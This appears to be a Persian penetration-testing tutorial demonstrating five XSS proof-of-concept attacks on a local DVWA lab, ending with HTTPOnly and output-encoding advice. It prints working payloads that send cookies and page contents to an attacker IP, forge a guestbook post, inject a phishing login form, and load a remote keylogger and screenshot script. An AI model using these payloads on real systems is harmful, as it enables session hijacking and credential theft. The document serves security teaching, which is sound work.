حملات XSS

سناریوهای عملی برای تست نفوذ حملات XSS

در ارزیابی های انجام شده چندین سناریوی عملی ( XSS attack ) یا حملات XSS وجود دارد که می تواند به عنوان PoCs ها برای اثبات خطرات واقعی آسیب پذیری های (Cross-Site Scripting (XSS انجام شود .

به عنوان یک متخصص تست نفوذ ، اگر می خواهید مشتریان شما درک عمیقی از خطر آسیب پذیری ها که شما پیدا کنید داشته باشند بهترین راه برای انجام این کار ایجاد اثبات اثربخشی (PoC) است که در آن شما نشان می دهید چگونه حمله کنندگان می توانند از آسیب پذیری ها بهره برداری کرده و بر روی کسب و کار آنها تاثیر بگذارند.

در این مقاله چگونگی ایجاد  XSS attack PoCs و اهداف آن که شامل موارد زیر است را خواهید آموخت :

   Hijack a user’s session

   Perform unauthorized activities

   Perform phishing attacks

   Capture key strokes

   Steal sensitive information

نکات اولیه

اسکریپت (Cross-Site (XSSیک آسیب پذیری در سطح برنامه های وب و همچنین نام یک حمله جانبی است که حمله کننده آن را تزریق کرده و یک اسکریپت مخرب را به یک صفحه وب قانونی هدایت می کند . مرورگرها قادر به نمایش HTML و اجرای جاوا اسکریپت هستند بنابراین اگر برنامه نتواند از کاراکترهای خاصی در ورودی یا خروجی گریز داشته باشد ممکن است مهاجم بتواند حمله موفقیت آمیز (Cross-Site Scripting (XSSرا راه اندازی کند .

نکته :

  • می توانید اطلاعات بیشتری در مورد این آسیب پذیری در صفحه اسکریپت Cross-Site OWASP پیدا کنید.

  • برای ایجاد آزمایشگاه جهت تست نفوذ ، از برنامه شناخته شده DVWA استفاده خواهیم کرد که آن را به صورت محلی نصب کرده ایم.

در صفحه DVWA در لینک http://localhost:81/DVWA/vulnerabilities/xss_r یک reflected XSS در پارامتر نام وجود دارد .  این آسیب پذیری را می توان در شکل زیر مشاهده کرد .

 وقتی که کد جاوا اسکریپت <script> alert (123) </ script> را تزریق می کنیم ، در صفحه پاسخ نمایش داده شده و اجرا می شود.

حمله XSS

XSS Attack 1

سرقت جلسه کاربر – Hijacking the user session

اکثر برنامه های وب جلسات کاربر را برای شناسایی کاربر در چند درخواست HTTP نگه می دارند که این جلسات توسط کوکی های جلسه شناسایی می شوند.

برای مثال ، پس از ورود موفق به یک برنامه ، سرور به شما یک کوکی جلسه را با هدر تنظیم کوکی ارسال می کند. در حال حاضر اگر بخواهید به هر صفحه در برنامه دسترسی داشته باشید یا یک فرم ارسال کنید، کوکی (که اکنون در مرورگر ذخیره می شود) نیز در تمام درخواست های ارسال شده به سرور گنجانده شده است. به این ترتیب، سرور می داند که شما چه کسی هستید و به راحتی قادر به شناسایی می باشد .

بدین ترتیب ،کوکی های جلسات اطلاعات بسیارحساسی هستند که اگر به خطر بیافتند ممکن است فرد مهاجم بتواند این اجازه را بگیرد تا کاربر قانونی را جعل کرده و دسترسی به جلسه وب موجود کاربر قانوی را به دست آورد که به این حمله سرقت جلسه کاربر گفته می شود.

کد جاوا اسکریپتی که در مرورگر اجرا می شود می تواند به کوکی های جلسه (زمانی که پرچم HTTPOnly ندارند) با فراخوانی سند  cookies دسترسی پیدا کند . بنابراین  اگر ما پیلود زیر را در پارامتر نام تزریق کنیم ، صفحه آسیب پذیر مربوطه ، مقدار فعلی کوکی را در یک باکس هشدار نشان می دهد :

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

Dom base

اکنون به منظور سرقت کوکی ها ، ما باید یک پیلود ارائه دهیم که مقدار کوکی را به وب سایت تحت کنترل مهاجم ارسال کند. مقدار پیلود زیر یک object جدید در DOM ایجاد کرده و ویژگی src را در وب سایت مهاجم تعریف می کند . در نتیجه مرورگر ، یک درخواست HTTP برای این وب سایت خارجی (مثلا ۱۹۲٫۱۶۸٫۱۴۹٫۱۲۸) ایجاد می کند که URL مربوطه شامل کوکی جلسه نیز خواهد بود.

<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>

بنابراین این URL حمله است که کوکی ها را به سرور ما ارسال می کند :

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>

وقتی مرورگر این درخواست را دریافت می کند بارکد جاوا اسکریپت را اجرا می کند که درخواست جدیدی همراه با مقدار کوکی در URL به ۱۹۲٫۱۶۸٫۱۴۹٫۱۲۸ می دهد .

همانطور که در شکل زیر نشان داده شده است.

Burp suit

اگر در سرور کنترل شده مهاجم سعی کنیم برای اتصال ورودی فرآیند listen یا گوش کردن را اجرا کنیم (۱۹۲٫۱۶۸٫۱۴۹٫۱۲۸) ، می توانیم یک درخواست ورودی با مقدار کوکی (security و PHPSESSID) که در URL اضافه شده است را ببینیم . در ضمن همان اطلاعات را نیز می توان در فایل access.log در سرور مشاهده کرد .

کالی لینوکس

استفاده از کوکی به سرقت رفته

با استفاده از اطلاعات کوکی فوق ، اگر ما به هر کدام از صفحات داخلی برنامه دسترسی داشته باشیم و مقدار کوکی را در درخواست اضافه کنیم می توانیم از طرف قربانی به صفحه دسترسی پیدا کنیم (بدون دانستن نام کاربری و رمز عبور) . به عبارتی می توان گفت ما جلسه کاربر را ربوده ایم .

XSS Attack

ابزار Burp

حملات XSS

DVWA

توصیه امنیتی :

ویژگی کوکی HTTPOnly می تواند به کاهش این سناریو کمک کند . این پارامتر با جلوگیری از دسترسی به مقدار کوکی از طریق جاوا اسکریپت باعث کاهش حملات در این حوزه می گردد که می تواند هنگام مقداردهی کردن مقدار کوکی (از طریق هدر Set-Cookie) تنظیم شود.

 

XSS Attack 2

انجام فعالیت های غیر مجاز – Perform unauthorized activities

اگر ویژگی کوکی HTTPOnly تنظیم شده باشد یک مهاجم نمی تواند کوکی ها را از طریق جاوا اسکریپت سرقت کند . با این حال با استفاده از حمله XSS ، فرد مهاجم هنوز هم می تواند اعمال غیر مجاز در داخل برنامه را از طرف کاربر انجام دهد .

به عنوان مثال، در این سناریوی حمله ما یک پیام جدید در کتابخانه مهمان از طرف کاربر قربانی بدون رضایت خود ارسال می کنیم . برای این کار ما نیاز داریم که یک درخواست HTTP POST را به صفحه Guestbook با پارامترهای مناسب با جاوا اسکریپت متصل کنیم.

پیلود زیر این کار را با ایجاد یک شیء XMLHTTPRequest و تنظیم هدر و داده های ضروری انجام می دهد:

<script>
   var xhr = new XMLHttpRequest();
   xhr.open('POST','http://localhost:81/DVWA/vulnerabilities/xss_s/',true);
   xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
   xhr.send('txtName=xss&mtxMessage=xss&btnSign=Sign+Guestbook');
</script>

این درخواست در مرورگر ظاهر می شود و از آن طرف در Burp متوقف می شود

آزمایشگاه DVWA

Phishing

اسکریپت در حال اجرا ، یک درخواست جدید برای اضافه کردن یک کامنت از طرف کاربر ایجاد می کند.

pentest

 

 

 

تست نفوذXSS Attack 3

فیشینگ برای سرقت اطلاعات کاربری – Phishing to steal user credentials

در این متد حمله ، از XSS می توان برای تزریق یک فرم به صفحه آسیب پذیر استفاده کرد و از این فرم برای جمع آوری اعتبار کاربری استفاده کرد . این نوع حمله را فیشینگ می گویند .

پیلود زیر یک فرم همراه با یک پیام را تزریق می کند . برای ادامه با فیلدهای ورودی نام کاربری و رمز عبور وارد شوید . هنگام دسترسی به لینک زیر، قربانی ممکن است وارد حساب کاربری خود در فرم تزریق شود. توجه داشته باشید که ما می توانیم مقدار بار را تغییر دهیم تا آن را به صورت یک فرم قانونی به عنوان نیاز خودمان مطرح کنیم.

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>

تست نفوذ

هنگامی که کاربر وارد حساب کاربری و کلیک بر روی دکمه ورود به سیستم می شود، درخواست به سرور تحت کنترل مهاجم ارسال می شود. درخواست را می توان در تصاویر زیر مشاهده کرد :

حمله XSS

 

اعتبار وارد شده توسط کاربر (user: pentest & Pass: pentest) که می توان در سرور دریافت مشاهده کرد.

تست نفوذ با کالی

XSS Attack 4

Capture کردن کارکرد کلیدها با تزریق یک keylogger

در این سناریوی حمله ، ما keylogger جاوا اسکریپت را به صفحه وب آسیب پذیر تزریق می کنیم و کلیدهای کاربر در صفحه فعلی را Capture خواهیم کرد.

اول از همه یک فایل جاوا اسکریپت جداگانه ایجاد می کنیم و آن را در سرور تحت کنترل مهاجم میزبانی خواهیم کرد . ما به این فایل نیاز داریم زیرا حجم بارگذاری شده در URL خیلی زیاد است و می توانیم از اشتباهات رمزگذاری جلوگیری می کنیم .

فایل جاوا اسکریپت دارای کد زیر است :

keylogger

در هر فشار کلید توطی کاربر ، یک درخواست جدید XMLHttp تولید می شود و به سمت صفحه keylog.php میزبان رفته و در سرور تحت کنترل مهاجم قرار می گیرد . کدهایی که در keylog.php قرار دارد مقدار کلیدهای فشرده را با نام یک فایل data.txt می نویسد.

keylog.php

اکنون باید با صفحه آسیب پذیر با payload از سرور خودمان تماس بگیریم :

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/xss.js">

هنگامی که اسکریپت در صفحه بارگذاری می شود، با هر ضربه از هر کلید یک درخواست جدید خارج می شود.

جاوا اسکریپت

همانطور که در تصویر زیر نشان داده شده است مقدار پارامتر کلید در فایل data.txt نوشته شده است .

 

XSS Attack 5

 سرقت اطلاعات حساس – Stealing sensitive information

یکی دیگر از فعالیت های مخرب که می تواند با حمله XSS انجام شود، سرقت اطلاعات حساس از جلسه فعلی کاربر است. تصور کنید که یک برنامه بانکداری اینترنتی به حمله XSS آسیب پذیر است ، در اینصورت مهاجم می تواند توازن جاری ، اطلاعات معاملات ، اطلاعات شخصی و غیره را بخواند.

برای این سناریو ما باید یک فایل جاوا اسکریپت در سرور کنترل شده مهاجم ایجاد کنیم . این فایل دارای منطق است که می تواند تصویری از صفحه ای اسکریپت در حال اجرا را بگیرد :

سرقت اطلاعات

سپس ما باید یک فایل پی اچ پی بر روی سرور مهاجم ایجاد کنیم که محتوای پارامتر PNG را در فایل test.png ذخیره کند.

penetration test

حالا کد جاوا اسکریپت را به صفحه آسیب پذیر تزریق می کنیم تا کاربر را مجبور به دسترسی به URL زیر کنیم :

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/screenshot.js">

هنگامی که فایل جاوا اسکریپت بارگذاری می شود ، داده ها را در فرمت base64 به فایل saveshot.php می فرستد سپس این داده ها در فایل test.png نوشه می شود .

بعد از  باز کردن فایل test.png ، می توان صفحه رکورد شده صفحه آسیب پذیر را مشاهده کرد.

تست xss

استفاده از یک متد دیگر

راه دیگری برای سرقت محتوای صفحه این است که کد منبع HTML را با استفاده از getElementById دریافت کنید. در اینجا پیلودی بارگیری شده است که innerHTML را از guestbook_comments دریافت کرده و آن را برای مهاجم ارسال می کند.

<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.getElementById('guestbook_comments').innerHTML;</script>

پیلود

همچنین می توانیم منبع کل صفحه را با استفاده از پیلود زیر بارگیری کنیم:

<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.body.innerHTML</script>

store cross site scripting

Burp Decoder

رمزگشایی داده های دریافت شده را پلاگین Burp Decoder به ما می دهد . در اینجا می توانیم نظرهای Guestbook را مشاهده کنیم.

sanitization

نتیجه

با توجه به عملکرد و اطلاعات پردازش شده توسط برنامه های آسیب پذیر ، آسیب پذیری های XSS می تواند خطرات زیادی را برای کسب و کار ایجاد کند . مهاجمان می توانند اطلاعات محرمانه را سرقت کنند، فعالیت های غیر مجاز را سرقت کنند و تمام جلسات وب کاربران قربانی را بر عهده بگیرند.

بهترین روشهای محافظت در برابر این نوع حملات ، sanitization خروجی است

یعنی قبل از اینکه پاسخ در صفحه بازگردانده شود، هر گونه اطلاعات دریافت شده از طرف سرویس گیرنده باید از بین برود .

فرآیند Sanitization با تبدیل کاراکتر های خاص HTML به معادلات موجود در HTML خود انجام می شود ،

از جمله :

< ---> &lt;
> ---> &gt;
" ---> &quot;
' ---> &apos;

بنابراین توصیه می شود از کارکردهای داخلی هر زبان برنامه نویسی که برای طراحی sanitization استفاده می شود بهره بگیرید . برای مثال ، در PHP باید از htmlentities استفاده کنید.

 

گرد آورنده : سید محمد اسماعیلی

 

 

نوشته های مرتبط

مدیریت دستگاه های IOT

۰۵

آبان
همه موضوعات

مدیریت از راه دور دستگاه های IOT با استفاده از ابزار Upswift

انتشار محتوای سایت ایران سایبر فقط با ذکر منبع رسمی مجاز است اگر فقط از یک دستگاه IoT استفاده می کنید و درحال توسعه پروژه های خود هستید، به روزرسانی و مدیریت آن سریع و آسان است. اما اگر ۱۰ ، ۵۰ یا ۱۰۰ دستگاه داشته باشید چه می کنید؟ مدیریت همه آنها ناگهان به یک دردسر […]

رکوردهای DNS

۱۹

مهر
همه موضوعات

مدیریت رکوردهای DNS با DNStable

یافتن اطلاعات در مورد سوابق DNS فرآیندی است که متخصصان امنیتی با عملیات های خاصی انجام می دهند. این اطلاعات از چند طریق قابل دستیابی است که در این مقاله به آنها خواهیم پرداخت. مشکل این است که بیشتر ابزارها برای یافتن سوابق DNS به روز شده و استفاده از آنها دشوار است. بیشتر متخصصان با تجربه[…]